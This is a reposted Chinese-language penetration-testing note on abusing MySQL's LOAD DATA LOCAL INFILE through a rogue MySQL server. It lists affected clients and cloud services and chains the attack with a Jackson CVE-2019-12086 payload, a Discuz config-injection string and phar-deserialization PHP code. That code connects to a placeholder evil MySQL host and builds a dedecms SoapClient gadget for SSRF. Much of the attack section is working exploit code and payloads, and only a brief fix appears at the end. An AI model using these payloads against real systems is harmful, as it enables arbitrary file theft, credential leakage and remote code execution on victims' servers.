Load data infile
首先認識一下一個文法:
Load data infile
我們看下mysql手冊是如何定義的。
LOAD DATA
[LOW_PRIORITY | CONCURRENT] [LOCAL]
INFILE 'file_name'
[REPLACE | IGNORE]
INTO TABLE tbl_name
[PARTITION (partition_name [, partition_name] ...)]
[CHARACTER SET charset_name]
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
[IGNORE number {LINES | ROWS}]
[(col_name_or_user_var
[, col_name_or_user_var] ...)]
[SET col_name={expr | DEFAULT},
[, col_name={expr | DEFAULT}] ...]
複制
基本用法(導入檔案test.txt到table1表中,txt檔案中的行分隔符為\r\n,預設tab鍵為字段分隔符,txt檔案中的每個字段按順序對應column1、column2,。。。導入表中)
load data infile "/test.txt" into table1 lines terminated by '\r\n' (colunm1,colunm2,...)
複制
如果字段分隔符不是tab,可加入:fields terminated by ‘分隔符’
知道了該文法的基本用法之後,我們看一下在滲透中的用法,也就是讀檔案。
load data infile "C:\2.txt" into table test FIELDS TERMINATED BY '\n';
複制
不過需要file權限以及收到 --secure-file-priv的限制。
加入local之後就可以了
說明:MySQl的版本不得低于3.22.15,否則load data local不起作用,以及local_infile參數為on
流程
網上有很多相關的原理我這裡就不過多贅述了,然後原理懂得之後,我們其實就可以進行利用了。一張圖了解大概的流程;
然後我這裡使用phpstudy的phpmyadmin做示範,嫌麻煩的可以用vulnspy的線上環境,
需要的是操作步驟:修改phpMyAdmin目錄下的 /libraries/config.default.php
/**
* allow login to any user entered server in cookie based authentication
*
* @global boolean $cfg[‘AllowArbitraryServer’]
*/
$cfg[‘AllowArbitraryServer’] = true;
複制
将預設值false修改為true;
POC
然後遠端啟動rogue_mysql_server,在phpmyadmin的登入處填寫自己的惡意伺服器位址,帳号密碼随意,即可擷取到讀取的檔案(在惡意mysql中自行制定),在本目錄下生成mysql.log檔案,裡面包含讀取到的檔案内容
影響範圍
下面是一些受影響的範圍:
底層應用
用戶端 | 是否影響 |
---|---|
mysql client 1 | pwned |
php mysqli | pwned,fixed by 7.3.4 |
php pdo | 預設禁用 |
python MySQLdb | pwned |
python mysqlclient | pwned |
java JDBC Driver | pwned,部分條件下預設禁用 |
navicat | pwned |
探針
探針名稱 | 是否影響 |
---|---|
雅黑PHP探針 | 失敗 |
iprober2 探針 | 失敗 |
PHP探針 for LNMP一鍵安裝包 | 失敗 |
UPUPW PHP 探針 | 失敗 |
雲服務商 雲資料庫 資料遷移服務
服務商 | 是否影響 |
---|---|
騰訊雲 DTS | 失敗 禁用Load data local |
阿裡雲 RDS 資料遷移 | 失敗 禁用Load data local |
華為雲 RDS DRS服務 | 成功 |
京東雲 RDS | 不支援遠端遷移功能分布式關系資料庫未開放 |
UCloud RDS | 不支援遠端遷移功能,分布式關系資料庫不能對外資料同步 |
QiNiu雲 RDS | 不支援遠端遷移功能 |
新睿雲 RDS | 不支援遠端遷移功能 |
網易雲 RDS | 外部執行個體遷移 成功 |
金山雲 RDS DTS資料遷移 | 成功 |
青雲Cloud RDS | 資料導入 失敗,禁用load data local |
百度Cloud RDS | DTS 成功 |
Google could SQL資料庫 | 遷移失敗 禁用Load data infile |
AWS RDS | DMS服務 成功 |
Excel online sql查詢
header 1 | header 2 |
---|---|
WPS | failed(沒找到這個功能) |
Microsoft excel | failed(禁用了infile語句) |
Google 表格 插件Supermetrics | pwned |
Advanced CFO Solutions | MySQL Query failed |
SeekWell | failed |
Skyvia Query Gallery | failed |
database Borwser | failed |
Kloudio | pwned |
拓展
CVE-2019-12086 jackson任意檔案讀取漏洞
CVE-2019-12086:在2.9.9之前的FasterXML jackson-databind 2.x中發現了漏洞。在開啟Default Typing的情況下,且classpath中存在mysql-connector-java 8.0.15版本(2019.2.1釋出)以下,攻擊者可以通過發送惡意json資料讀取任意檔案。mysql-connector-java這個庫就是連接配接資料庫時常用的mysql jdbc。這是因為缺少com.mysql.cj.jdbc.admin.MiniAdmin驗證。
其實這個漏洞主要還是Mysql的鍋,在com.mysql.cj.jdbc.admin.MiniAdmin的構造函數接受一個string的值,這個值代表jdbcURL,com.mysql.cj.jdbc.admin.MiniAdmin類在初始化會連接配接這個jdbcURL中指定的MySQL資料庫。
payload:
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]
複制
任意檔案讀 with 配置檔案洩露
在Discuz x3.4的配置中存在這樣兩個檔案
config/config_ucenter.php
config/config_global.php
複制
在dz的背景,有一個ucenter的設定功能,這個功能中提供了ucenter的資料庫伺服器配置功能,通過配置資料庫連結惡意伺服器,可以實作任意檔案讀取擷取配置資訊。
配置ucenter的通路位址。
原位址:http://localhost:8086/upload/uc_server
修改為:http://localhost:8086/upload/uc_server\');phpinfo();//
複制
當我們獲得了authkey之後,我們可以通過admin的uid以及鹽來計算admin的cookie。然後用admin的cookie以及UC_KEY來通路即可生效
任意檔案讀 to 反序列化
2018年BlackHat大會上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper議題,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。
在該議題中提到,在PHP中存在一個叫做Stream API,通過注冊拓展可以注冊相應的僞協定,而phar這個拓展就注冊了phar://這個stream wrapper。
首先需要一個生成一個phar
pphar.php
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //字尾名必須為phar
$phar->startBuffering();
$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //設定stub
$o = new A();
$phar->setMetadata($o); //将自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的檔案
//簽名自動計算
$phar->stopBuffering();
?>
複制
使用該檔案生成一個phar.phar
然後我們模拟一次查詢
test.php
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);
$p = mysqli_query($m, 'select 1;');
// file_get_contents('phar://./phar.phar');
複制
圖中我們隻做了select 1查詢,但我們僞造的evil mysql server中驅使mysql client去做load file local查詢,讀取了本地的
phar://./phar.phar
複制
成功觸發反序列化
反序列化 to RCE
當一個反序列化漏洞出現的時候,我們就需要從源代碼中去尋找合适的pop鍊,建立在pop鍊的利用基礎上,我們可以進一步的擴大反序列化漏洞的危害。
php序列化中常見的魔術方法有以下
•當對象被建立的時候調用:__construct•當對象被銷毀的時候調用:__destruct•當對象被當作一個字元串使用時候調用:__toString•序列化對象之前就調用此方法(其傳回需要是一個數組):__sleep•反序列化恢複對象之前就調用此方法:__wakeup•當調用對象中不存在的方法會自動調用此方法:__call•配合與之相應的pop鍊,我們就可以把反序列化轉化為RCE。
dedecms 背景反序列化漏洞 to SSRF
dedecms 背景,子產品管理,安裝UCenter子產品。開始配置
首先需要找一個确定的UCenter服務端,可以通過找一個dz的站來做服務端。
然後就會觸發任意檔案讀取,當然,如果讀取檔案為phar,則會觸發反序列化。
我們需要先生成相應的phar
<?php
class Control
{
var $tpl;
// $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
public $dsql;
function __construct(){
$this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa'));
}
function __destruct() {
unset($this->tpl);
$this->dsql->Close(TRUE);
}
}
@unlink("dedecms.phar");
$phar = new Phar("dedecms.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設定stub,增加gif檔案頭
$o = new Control();
$phar->setMetadata($o); //将自定義meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的檔案
//簽名自動計算
$phar->stopBuffering();
?>
複制
然後我們可以直接通過前台上傳頭像來傳檔案,或者直接背景也有檔案上傳接口,然後将rogue mysql server來讀取這個檔案
phar://./dedecms.phar/test.txt
複制
監聽5555可以收到
修複方式
對于大多數mysql的用戶端來說,load file local是一個無用的語句,他的使用場景大多是用于傳輸資料或者上傳資料等。對于用戶端來說,可以直接關閉這個功能,并不會影響到正常的使用。
都是學習筆記,原文位址:https://www.lorexxar.cn/2020/01/14/css-mysql-chain/